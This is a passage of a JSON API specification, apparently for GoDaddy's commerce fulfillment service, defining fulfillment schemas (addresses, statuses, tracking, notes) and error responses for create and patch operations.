[Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "destination": { + "$id": "https://godaddy.com/schemas/commerce/fulfillment/fulfillment-address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Groups together relevant details about an address for a fulfillment", + "properties": { + "address": { + "$id": "https://godaddy.com/schemas/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schemas/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" + } + }, + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + } + }, + "required": [ + "address" + ], + "title": "Fulfillment Address", + "type": "object" + }, + "detailedStatus": { + "$id": "https://godaddy.com/schemas/commerce/fulfillment/status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Detailed status for a fulfillment providing more granular information about the fulfillment state. This field is required for all fulfillment operations. \n\n **For updates**: Must be present and be one of the valid detailed statuses. \n\n **For creates**: Must be present and valid for the initial status being set (see fulfillment-constraints.json for validation rules). \n\n **Status Values**: \n\n `ERROR`: There was an error when trying to process the fulfillment \n\n `CANCELED`: The fulfillment has been canceled \n\n `CONFIRMED`: The fulfillment has been confirmed and is ready to be processed \n\n `AWAITING_FULFILLMENT`: The fulfillment is awaiting fulfillment processing \n\n `OUT_FOR_FULFILLMENT`: The fulfillment is out for fulfillment (e.g., shipped, out for delivery) \n\n `ATTEMPTED_FULFILLMENT`: An attempt was made to fulfill the order but was unsuccessful \n\n `SUCCESS`: The fulfillment has been completed successfully \n\n `AWAITING_PICKUP`: The fulfillment is ready for pickup", + "enum": [ + "ERROR", + "CANCELED", + "CONFIRMED", + "AWAITING_FULFILLMENT", + "OUT_FOR_FULFILLMENT", + "ATTEMPTED_FULFILLMENT", + "SUCCESS", + "AWAITING_PICKUP" + ], + "title": "Fulfillment detailed status", + "type": "string" + }, + "externalId": { + "description": "External identifier for the fulfillment", + "example": "FM-Y6BN43DB590L", + "type": "string" + }, + "fulfillmentPlanId": { + "description": "Reference to the FulfillmentPlan this fulfillment was created from. Used for linking and reporting.", + "example": "FulfillmentPlan_TG41sWEXyIktH8PY4eI0nOGDoB6", + "type": "string" + }, + "fulfillmentWindow": { + "$id": "https://godaddy.com/schemas/commerce/fulfillment/fulfillment-window.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Specifies the time window for fulfillment (e.g., delivery slot or pickup time)", + "properties": { + "endAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "startAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "required": [ + "startAt", + "endAt" + ], + "title": "Fulfillment Window", + "type": "object" + }, + "history": { + "description": "List of history events associated to the fulfillment", + "items": { + "$id": "https://godaddy.com/schemas/commerce/fulfillment/history-event.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Records a event that happened to a fulfillment / fulfillment plan", + "properties": { + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "eventName": { + "description": "Name of the history event", + "example": "FULFILLMENT.CANCELED", + "type": "string" + } + }, + "required": [ + "eventName", + "createdAt" + ], + "title": "History event", + "type": "object" + }, + "readOnly": true, + "type": "array" + }, + "id": { + "description": "An identifier unique to the fulfillment (`Fulfillment_`). Auto-generated by our system on creation", + "example": "Fulfillment_2G5VsWEFhIktH8PY4qC0iOGDpVJ", + "readOnly": true, + "type": "string" + }, + "inventoryBehavior": { + "default": "OBEY_POLICY", + "description": "Inventory policy for this fulfillment. Valid values: OBEY_POLICY (default), BYPASS. OBEY_POLICY decrements inventory and enforces stock checks; BYPASS skips inventory checks and allows fulfillment regardless of stock.", + "enum": [ + "OBEY_POLICY", + "BYPASS" + ], + "type": "string" + }, + "items": { + "description": "Items in the fulfillment", + "items": { + "$id": "https://godaddy.com/schemas/commerce/fulfillment/fulfillment-item.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents an item that's included in a fulfillment / fulfillment plan", + "properties": { + "fulfillmentPlanItemId": { + "description": "Reference to the FulfillmentPlanItem this item fulfills. Required if the fulfillment is linked to a plan.", + "type": "string" + }, + "lineItemId": { + "description": "Reference to a Line Item as defined by the Order service. Optional since fulfillments do not have to be tied to an order.", + "type": "string" + }, + "name": { + "description": "Name of the fulfillment item used for display purposes", + "type": "string" + }, + "productId": { + "description": "Reference to a Product as defined by the Catalog service (commerce API v1). Optional.", + "type": "string" + }, + "quantity": { + "description": "Quantity for the fulfillment item. Note this could be a float value (e.g. 2.3 Kgs)", + "format": "float", + "type": "number" + }, + "sku": { + "description": "SKU for the fulfillment item. Optional. Deprecated in v2", + "type": "string" + }, + "skuId": { + "description": "Reference to a SKU as defined by the Catalog service (commerce API v2). Optional.", + "type": "string" + } + }, + "required": [ + "quantity", + "name" + ], + "title": "Fulfillment Item", + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "locationId": { + "description": "Reference to the Inventory Location (as defined by the Inventory Service) where the fulfillment was processed at", + "type": "string" + }, + "mode": { + "$id": "https://godaddy.com/schemas/commerce/fulfillment/fulfillment-mode.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Possible modes for a fulfillment \n\n `SHIP`: The fulfillment is a shipping fulfillment \n\n `DELIVERY` The fulfillment is a local delivery fulfillment \n\n `PICKUP` The fulfillment is a pickup fulfillment \n\n `FOR_HERE` The fulfillment is made at the location with no online interaction \n\n `DIGITAL` The fulfillment is a digital fulfillment", + "enum": [ + "SHIP", + "DELIVERY", + "PICKUP", + "FOR_HERE", + "DIGITAL" + ], + "title": "Fulfillment mode", + "type": "string" + }, + "notes": { + "description": "List of FulfillmentNote objects, used for internal or customer-facing notes.", + "items": { + "$id": "https://godaddy.com/schemas/commerce/fulfillment/fulfillment-note.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents a note attached to a fulfillment, which may be customer-facing or internal", + "properties": { + "author": { + "description": "Name or identifier of the note's author.", + "type": "string" + }, + "authorType": { + "default": "CUSTOMER", + "description": "Type of author. Used for filtering and display. Defaults to CUSTOMER.", + "enum": [ + "CUSTOMER", + "MERCHANT", + "NONE" + ], + "type": "string" + }, + "content": { + "description": "The note content, which may be customer-facing or internal.", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "id": { + "description": "Unique identifier for the note. Used for referencing and editing notes.", + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "required": [ + "id", + "content" + ], + "title": "Fulfillment Note", + "type": "object" + }, + "type": "array" + }, + "orderId": { + "description": "Reference to an order as defined by the Orders Service", + "example": "Order_2G5VsWEFhIktH8PY4qC0iOGDpVJ", + "type": "string" + }, + "origin": { + "$id": "https://godaddy.com/schemas/commerce/fulfillment/fulfillment-address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Groups together relevant details about an address for a fulfillment", + "properties": { + "address": { + "$id": "https://godaddy.com/schemas/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schemas/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" + } + }, + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + } + }, + "required": [ + "address" + ], + "title": "Fulfillment Address", + "type": "object" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/fulfillment/fulfillment-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Possible statuses for a fulfillment \n\n `IN_PROGRESS`: The fulfillment has been acknowledged by a fulfillment service and is in progress \n\n `SUCCESS`: The fulfillment has been completed successfully \n\n `CANCELED`: The fulfillment has been canceled \n\n `ERROR`: There was an error when trying to process the fulfillment", + "enum": [ + "IN_PROGRESS", + "SUCCESS", + "CANCELED", + "ERROR" + ], + "title": "Fulfillment status", + "type": "string" + }, + "storeId": { + "description": "ID of the store that the fulfillment belongs to", + "example": "fd3d9291-dc9a-445d-aa68-d2ff1a77a83c", + "type": "string" + }, + "trackingData": { + "description": "Tracking information for a fulfillment. The ability to have multiple tracking numbers for a single fulfillment is to support `last mile` shipping use cases. We do not support fulfilling multiple discrete sets of items (e.g. multiple boxes) in a single fulfillment", + "items": { + "$id": "https://godaddy.com/schemas/commerce/fulfillment/tracking.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Groups together relevant details about tracking a fulfillment. Typically represents a shipping label for a service like USPS", + "properties": { + "labelId": { + "description": "Reference to a Label as defined by the Label Service", + "type": "string" + }, + "number": { + "description": "The tracking number", + "example": "U897654321345678", + "type": "string" + }, + "provider": { + "description": "Tracking provider (`UPS`, `USPS`, etc.)", + "type": "string" + }, + "service": { + "description": "Tracking provider (`2nd Day`, `Priority`, `Express` etc.)", + "type": "string" + }, + "url": { + "description": "The tracking URL", + "example": "http://www.ups.com/WebTracking/track?trackNums=U897654321345678&track.x=Track", + "type": "string" + } + }, + "required": [ + "number" + ], + "title": "Tracking", + "type": "object" + }, + "type": "array" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "required": [ + "id", + "storeId", + "mode", + "status", + "detailedStatus", + "locationId", + "items" + ], + "title": "Fulfillment", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/fulfillment/fulfillment-constraints.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Validation constraints for a fulfillment", + "else": { + "if": { + "properties": { + "status": { + "const": "SUCCESS" + } + } + }, + "then": { + "properties": { + "detailedStatus": { + "enum": [ + "SUCCESS" + ] + } + } + } + }, + "if": { + "properties": { + "status": { + "const": "IN_PROGRESS" + } + } + }, + "properties": { + "detailedStatus": { + "anyOf": [ + { + "description": "Valid detailed statuses when status is IN_PROGRESS", + "enum": [ + "CONFIRMED", + "AWAITING_FULFILLMENT", + "OUT_FOR_FULFILLMENT", + "ATTEMPTED_FULFILLMENT", + "AWAITING_PICKUP" + ] + }, + { + "description": "Valid detailed statuses when status is SUCCESS", + "enum": [ + "SUCCESS" + ] + } + ], + "description": "Valid detailed statuses for fulfillment operations based on status", + "type": "string" + }, + "status": { + "description": "Valid statuses for fulfillment operations", + "enum": [ + "IN_PROGRESS", + "SUCCESS" + ], + "type": "string" + } + }, + "then": { + "properties": { + "detailedStatus": { + "enum": [ + "CONFIRMED", + "AWAITING_FULFILLMENT", + "OUT_FOR_FULFILLMENT", + "ATTEMPTED_FULFILLMENT", + "AWAITING_PICKUP" + ] + } + } + }, + "title": "Fulfillment Constraints", + "type": "object" + } + ], + "description": "Schema for fulfillment with conditional validation constraints. The detailedStatus field is required for all fulfillment operations (both create and update) and must be valid for the initial status being set during creation.", + "title": "Fulfillment Conditionals", + "type": "object" + } + }, + "responses": { + "409": { + "description": "Application-specific server state error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "403": { + "description": "Authenticated user is not allowed access", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "502": { + "description": "Bad gateway or failed dependency", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "504": { + "description": "Gateway or dependency timeout", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "422": { + "description": "Application-specific request error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "503": { + "description": "Service is temporarily unavailable", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "200": { + "description": "Successfully created the fulfillment", + "schema": { + "properties": { + "fulfillment": { + "$ref": "./models/Fulfillment.yaml" + }, + "status": { + "description": "Status of the response", + "example": "success", + "type": "string" + } + }, + "required": [ + "status", + "fulfillment" + ], + "type": "object" + } + }, + "401": { + "description": "Authentication info not sent or is invalid", + "schema": { + "$ref": "#/components/schemas/Error" + } + } + }, + "scopes": [] + }, + { + "operationId": "commerce.fulfillments.patch", + "method": "PATCH", + "path": "/stores/{storeId}/fulfillments/{fulfillmentId}", + "summary": "Patch a fulfillment", + "description": "Modify an existing fulfillment using the fulfillment ID.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "Store ID", + "schema": { + "$ref": "./models/FulfillmentPlan.yaml#/properties/storeId" + } + }, + { + "name": "fulfillmentId", + "in": "path", + "required": true, + "description": "The ID of the fulfillment", + "schema": { + "$ref": "./models/Fulfillment.yaml#/properties/id" + } + } + ], + "requestBody": { + "required": true, + "description": "The fulfillment object to patch", + "contentType": "application/json", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/fulfillment/fulfillment.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A fulfillment represents a task to fulfill one or more items from a single location for a single fulfillment mode. A Fulfillment can exist in the context of an order or be independent of one.", + "properties": { + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "destination": { + "$id": "https://godaddy.com/schemas/commerce/fulfillment/fulfillment-address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Groups together relevant details about an address for a fulfillment", + "properties": { + "address": { + "$id": "https://godaddy.com/schemas/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schemas/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" + } + }, + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + } + }, + "required": [ + "address" + ], + "title": "Fulfillment Address", + "type": "object" + }, + "detailedStatus": { + "$id": "https://godaddy.com/schemas/commerce/fulfillment/status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Detailed status for a fulfillment providing more granular information about the fulfillment state. This field is required for all fulfillment operations. \n\n **For updates**: Must be present and be one of the valid detailed statuses. \n\n **For creates**: Must be present and valid for the initial status being set (see 